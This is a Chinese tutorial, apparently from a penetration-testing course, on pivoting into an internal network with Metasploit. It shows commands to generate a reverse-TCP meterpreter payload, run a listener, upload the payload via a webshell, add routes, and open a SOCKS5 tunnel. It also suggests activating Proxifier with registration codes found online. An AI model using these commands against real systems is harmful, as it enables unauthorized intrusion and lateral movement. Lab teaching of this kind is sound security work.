隧道穿透
内容简介
本小节主要讲解了 Metasploit 的工具的基本使用,以及使用 Metasploit 来建立一个和内网的隧道,关于 Metasploit 我们在课程的 MSF 专题已经给大家做了详细教程。
为什么需要 MSF
肯定有学员会有疑问,我们通过前文章节,已经可以通过 webshell 来执行命令了,为什么还需要使用 MSF 呢?这是因为目前已有的 webshell 虽然可以执行命令,但是不方面我们代理出来,我们需要建立一个 socks 隧道直通内网,这样可以更灵活的进行一些安全测试。
当然建立隧道方式有很多,有基于 web 的 PHP 的隧道,也可以直接使用 MSF 这种工具来建立隧道,关于隧道建立我们在隧道技术章节已经做了详细的介绍,感兴趣的学员可以再去对应章节观看。
生成木马
我们使用常用的 reverse_tcp 反向 shell 的 payload 来生成木马,反向 shell 很适合这种可以出外网的网络情况。
方法一:msfvenom
msfvenom 是 Metasploit 工具包里面的一个工具,专门用于木马生成和 payload 混淆等,我们直接生成一个连接外网服务 7777 端口的 shell 文件:
方法二:generate
msf6 > use payload/linux/x64/meterpreter_reverse_tcp
msf6 > set LHOST <外网服务器地址>
msf6 > set LPORT 7777
然后直接在 msfconsole 控制台里面使用 generate 生成 shell 木马文件:
msf6 payload(linux/x64/meterpreter_reverse_tcp) > generate -f elf -o gg_shell.elf
[*] Writing 208384 bytes to gg_shell.elf...
监听会话
这里监听的细节是 set LHOST 0.0.0.0
表示监听本地所有的 IPv4 地址:
msf6 > use exploits/multi/handler
msf6 > set payload linux/x64/meterpreter_reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 7777
msf6 > run
接着通过蚁剑上传我们的 gg_shell.elf 文件:
然后执行,我们的 MSF 即可上线:
信息收集
通过 route
命令以及 arp -a
命令大概可以判断目前的内网的网段为 172.18.100.1/24
,然后使用 background
命令临时将我们当前的 meterpreter 的 Session 会话隐藏到后台:
添加路由
再次确认一下当前网段的情况:
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.18.100.0/255.255.255.0
Local subnet: fa82::/ffff:ffff:ffff:ffff::
Local subnet: ::/::
看一下当前 MSF 的路由,发现是空的,此时我们的 MSF 不知道如何去访问到 172.18.100.0 网段:
# 早期的命令
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet
# MSF 官方逐步建议使用下面的命令
meterpreter > run post/multi/manage/autoroute cmd=print
使用 post/multi/manage/autoroute
模块自动取添加一个路由:
meterpreter > run post/multi/manage/autoroute
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[*] Running module against 172.18.100.10
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.18.100.0/255.255.255.0 from host's routing table.
然后查看一下,且自动将路由的网关关联到我们的 Session 4 会话:
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
172.18.100.0 255.255.255.0 Session 4
手动添加路由的方法
如果自己清除路由和子网掩码的话,也可以使用下面方法来手动添加路由,上述自动添加路由其实就等同于下面的命令:
建立隧道
我们使用 auxiliary/server/socks_proxy
模块来创建一个 MSF 和 172 内网的 Socks5 隧道,这样建好的隧道可以给浏览器这类的应用使用了:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0
[*] Starting the SOCKS proxy server
此时我们的浏览器使用经典的 SwitchyOmega 插件手动添加一个 Socks5 代理即可,这里的 10.100.1.226 就是我们的 MSF 的 IP 地址,1080 即我们设置的 Socks5 代理端口,可以看到此时浏览器选择这个代理的话,已经可以正常访问到我们的 172.18.100.0 网段的内网资产了:
全局代理
一般情况下浏览器使用 SwitchyOmega 插件即可让我们的浏览器直接通过代理访问内网资产,但是如果其他的应用想要访问的话就比较麻烦了,所以需要一个专门代理应用的工具,
- Windows 或者 macOS 环境下推荐使用 proxifier 或者 SocksCap
- Linux 或者 macOS 下推荐使用 proxychains4
我们文章这里就使用主流老牌的 proxifier 来延时,这个工具可以下官方正版,然后使用网上的注册码即可激活。
手动添加一个 MSF 的 1080 端口的 Socks5 代理:
然后手动创建一个规则,任意应用只要是请求 172 开头的 IP 地址的话,就通过我们 Socks5 代理去请求,可以看到已经让我们的 CMD 命令行成功走了 Socks5 代理隧道去请求内网了:
此时哪怕我们的浏览器使用的是直接代理的话,也是会自动走隧道去请求 172 内网的: